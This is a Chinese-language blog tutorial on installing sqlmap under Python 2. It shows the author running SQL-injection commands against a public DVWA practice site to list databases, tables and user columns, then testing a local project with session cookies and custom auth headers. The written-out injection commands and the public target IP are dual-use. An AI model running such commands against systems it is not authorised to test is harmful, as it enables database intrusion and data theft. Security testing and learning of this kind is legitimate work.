sqlmap的安装和基础使用

1.sqlmap简介

最白话的介绍就是sqlmap是一个工具,一个用来做sql注入攻击的工具

2.windows安装python2

这个sqlmap需要python2才可以正常执行,注意python3不行哦,如果你已经安装了python3,本地同时安装python2和python3,需要注意修改其中一个python执行文件的名字,以便在path中添加环境变量的时候,可以正确区分,详细这里不进行赘述,如果不了解,建议自行百度。

3. windows安装sqlmap

3.1 下载压缩包

在sqlmap的网站上下载对应的压缩文件
http://sqlmap.org/

3.2 解压文件

解压到任意文件夹皆可
解压以后大概是这个样子的


之后就是要执行这个sqlmap.py的文件

3.3 启动一个命令行,执行sqlmap.py

如果出现这个界面,表示一切正常


按任意键结束

4. 测试sqlmap功能

4.1 使用DVWA测试网站

4.1.1 关于dvwa

这个网站有sql漏洞,专门拿来测试用,不知道是哪位好心人搞出来的

网址是:http://43.247.91.228:81/login.php
登陆的用户名密码是:admin/password

4.1.2 操作

首先登陆成功以后三步走,拿到需要的url

image.png

拿到url以后,就可以使用这个url来注入了

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#"

出现如下结果,则表示sqlmap检测到有可以注入的地方,


ps:如果没有检测到可以注入的地方,会显示如下


image.png

既然检测到有可以注入的地方,现在我们就来通过这个注入来获取一些数据库的信息

获取数据库
python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" --dbs

可以看到执行以后拿到了数据库的信息


再进一步,获取数据库中表的信息

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa --tables

可以看到,拿到了dvwa这个库中的所有表的名字


image.png

再进一步,获取表中的字段信息

python2 sqlmap.py -u "http://43.247.91.228:81/vulnerabilities/sqli/?id=1&Submit=Submit#" -D dvwa -T users --columns

可以看到,拿到了表中的所有字段


4.2 使用本地网站

4.2.1 本地网站是本地的项目,现在用本地的项目跑起来来测试sqlmap

主要测试三个url:
http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'
http://localhost:9099/record/user/2019-03-09
127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684

4.2.2 操作--url1

url1:http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3',这是一个post请求,nsrsbh是所需要的参数

执行:

python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'"  --method=POST

可以看到,没有访问到正确的连接,而是被重定向到了登陆的login页面,这是因为这个网站需要登陆,没有登陆的情况访问链接就会被重定向到登陆页面,所以在这里现在浏览器中登陆,然后拿到浏览器的cookie,让sqlmap携带着cookie再去攻击


拿到浏览器的cookie

执行(携带cookie):

python2 sqlmap.py -u "http://localhost:9099/tjcx/qyzxcx/zscq/sbxx/years?nsrsbh='1234000048500077X3'" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=POST

执行结果:可以看到,并没有找到可以注入的地方


image.png

观察这个网站的日志,也可以看到,这个接口被调用很多次,都是sqlmap自动调用的,它在尝试寻找可以注入的地方


image.png

4.2.3 操作--url2

url2:http://localhost:9099/record/user/2019-03-09,这是一个get请求,2019-03-09是restful风格的参数

同样携带cookie执行:

python2 sqlmap.py -u "http://localhost:9099/record/user/2019-03-09" --cookie="JSESSIONID=9446902e-703b-4c81-914a-9abbd90ed9ce" --method=GET

执行结果,没有发现可以注入的地方


查看网站后台,接口同样被调用多次

4.2.3 操作--url3

url3:127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684,这也是一个get请求,但是不同的是,这个接口不需要cookie就可以访问,但是需要携带正确的header才可以执行

携带header执行:

python2 sqlmap.py -u "127.0.0.1:9099/open/qyxx/jcsj_gs?nsrsbh=110101717802684"  --method=GET --headers="type:pwd\nchannelPwd:f1e7e7f187f84cdfb4784481ed01abd5\nchannelId:FDDX_PWD"

执行结果,没有找到可以注入的地方


查看后台,接口同样被调用多次


5. 总结

简单的使用就是这样,需要一个url,有的可能需要携带cookie,有的可能需要携带header,
如果找到了注入点,就可以拿到一些数据信息,但是现在的网站通常也比较难找到可以注入的url。
可以通过这种方式来检测自己写的接口是否有被sql注入的风险

关于sqlmap的命令还有更深入的,可以通过-h或者--help来查看更多的指令操作,比如不想每次执行语句的时候都要手动确认一些选择项,可以通过--batch指令,让sqlmap自己去决定。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值